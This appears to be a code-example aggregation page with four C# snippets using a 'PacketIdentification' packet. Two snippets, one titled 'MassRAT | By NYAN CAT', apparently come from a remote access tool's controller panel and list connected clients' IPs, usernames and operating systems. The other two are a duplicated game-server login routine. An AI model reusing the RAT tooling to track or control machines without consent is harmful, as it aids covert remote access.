예제 #1
0
        /// <summary>
        /// add client to listview
        /// </summary>
        public void AddClientToListview(SocketClient client, PacketIdentification packet)
        {
            client.ListViewItem = new ListViewItem
            {
                Tag  = client,
                Text = client.Socket.RemoteEndPoint.ToString().Split(':')[0],
            };
            client.Identification = packet;
            client.ListViewItem.SubItems.AddRange(new string[] { packet.Type.ToString(), packet.Username, packet.OperatingSystem });

            this.Invoke((MethodInvoker) delegate
            {
                Interlocked.Increment(ref Configuration.ConnectedClients);
                lock (SafeThreading.SyncMainFormListview)
                {
                    this.betterListView1.Items.Add(client.ListViewItem);
                    this.betterListView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize);
                    this.Text = $"MassRAT | By NYAN CAT | Online{Configuration.ConnectedClients}";
                }
            });
        }
예제 #2
0
 public void AddClientToList(Client client, PacketIdentification packetIdentification)
 {
     client.ClientListViewItem = new ListViewItem
     {
         Tag  = client,
         Text = client.ClientSocket.RemoteEndPoint.ToString().Split(':')[0],
     };
     client.ClientListViewItem.SubItems.AddRange(new string[] { packetIdentification.Username, packetIdentification.OperatingSystem, packetIdentification.Version });
     lock (Config.LockListViewClients)
     {
         Program.form1.clientsListView.Invoke((MethodInvoker)(() =>
         {
             Program.form1.clientsListView.Items.Add(client.ClientListViewItem);
             Program.form1.clientsListView.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize);
         }));
     }
     lock (Config.LockOnlineClients)
     {
         Config.OnlineClients.Add(client);
     }
 }
예제 #3
0
        void ProcessLogin(PacketIdentification packet)
        {
            if (IsLoggedIn)
            {
                return;
            }

            this.Username = packet.Username;

            if (Server.IPBans.ToArray().ContainsIgnoreCase(IP.ToString()) ||
                Server.UsernameBans.ToArray().ContainsIgnoreCase(packet.Username))
            {
                Kick("You are banned : " + GetBanReason(packet.Username) ?? "");
                return;
            }

            //TODO: temp bans

            if (!IsValidAccount(this, packet.VerificationKey))
            {
                Kick("Account could not be verified.");
                return;
            }
            IsValidated = true;

            if (!IsValidUsername(packet.Username))
            {
                Kick("Invalid Username");
            }

            if (Server.Players.Count >= ServerSettings.GetSettingInt("maxplayers"))
            {
                Kick("Server is full. Please try again later.");
                return;
            }

            Player p;

            if ((p = Find(Username)) != null)
            {
                p.Kick("Logged in somewhere else");
                return;
            }


            IsLoggedIn = true;

            // --------- Player is logged in and validated --------------//

            Logger.Log(string.Format("{0} logged in as {1}.", IP, Username));
            SendMessageToAllPlayersF("&3{0} has joined the server", Username);
            try { Server.IRC.SendMessage(string.Format("{0} Joined the server", Username)); }
            catch { }

            foreach (var group in PlayerGroup.Groups)
            {
                if (group.Players.Contains(Username))
                {
                    this.Group = group;
                    break;
                }
            }

            SendMOTD();
            PlayerID = GetNextFreeID();
            Level    = Server.Mainlevel;


            // ------------- Player is Connected, and map is loaded -----------//

            CurrentPosition = new Vector3S()
            {
                x = (short)((.5 + Level.SpawnPos.x) * PlayerConstants.PIXEL_TO_METER_RATIO),
                y = (short)((1 + Level.SpawnPos.y) * PlayerConstants.PIXEL_TO_METER_RATIO),
                z = (short)((.5 + Level.SpawnPos.z) * PlayerConstants.PIXEL_TO_METER_RATIO),
            };
            CurrentPitch = Level.SpawnRot[0];
            CurrentYaw   = Level.SpawnRot[1];

            OldPosition = CurrentPosition;
            OldPitch    = CurrentPitch;
            OldYaw      = CurrentYaw;

            SpawnEntity(this);
            GlobalSpawnEntity(this);
            UpdateEntities();
        }
예제 #4
0
        void ProcessLogin(PacketIdentification packet) {

            if ( IsLoggedIn ) {
                return;
            }

            this.Username = packet.Username;

            if ( Server.IPBans.ToArray().ContainsIgnoreCase(IP.ToString()) ||
                  Server.UsernameBans.ToArray().ContainsIgnoreCase(packet.Username) ) {
                Kick("You are banned : " + GetBanReason(packet.Username) ?? "");
                return;
            }

            //TODO: temp bans

            if ( !IsValidAccount(this, packet.VerificationKey) ) {
                Kick("Account could not be verified.");
                return;
            }
            IsValidated = true;

            if ( !IsValidUsername(packet.Username) ) {
                Kick("Invalid Username");
            }

            if ( Server.Players.Count >= ServerSettings.GetSettingInt("maxplayers") ) {
                Kick("Server is full. Please try again later.");
                return;
            }

            Player p;
            if ( ( p = Find(Username) ) != null ) {
                p.Kick("Logged in somewhere else");
                return;
            }


            IsLoggedIn = true;

            // --------- Player is logged in and validated --------------//

            Logger.Log(string.Format("{0} logged in as {1}.", IP, Username));
            SendMessageToAllPlayersF("&3{0} has joined the server", Username);
            try { Server.IRC.SendMessage(string.Format("{0} Joined the server", Username)); }
            catch { }

            foreach ( var group in PlayerGroup.Groups ) {
                if ( group.Players.Contains(Username) ) {
                    this.Group = group;
                    break;
                }
            }

            SendMOTD();
            PlayerID = GetNextFreeID();
            Level = Server.Mainlevel;


            // ------------- Player is Connected, and map is loaded -----------//

            CurrentPosition = new Vector3S() {
                x = (short)( ( .5 + Level.SpawnPos.x ) * PlayerConstants.PIXEL_TO_METER_RATIO ),
                y = (short)( ( 1 + Level.SpawnPos.y ) * PlayerConstants.PIXEL_TO_METER_RATIO ),
                z = (short)( ( .5 + Level.SpawnPos.z ) * PlayerConstants.PIXEL_TO_METER_RATIO ),
            };
            CurrentPitch = Level.SpawnRot[0];
            CurrentYaw = Level.SpawnRot[1];

            OldPosition = CurrentPosition;
            OldPitch = CurrentPitch;
            OldYaw = CurrentYaw;

            SpawnEntity(this);
            GlobalSpawnEntity(this);
            UpdateEntities();
        }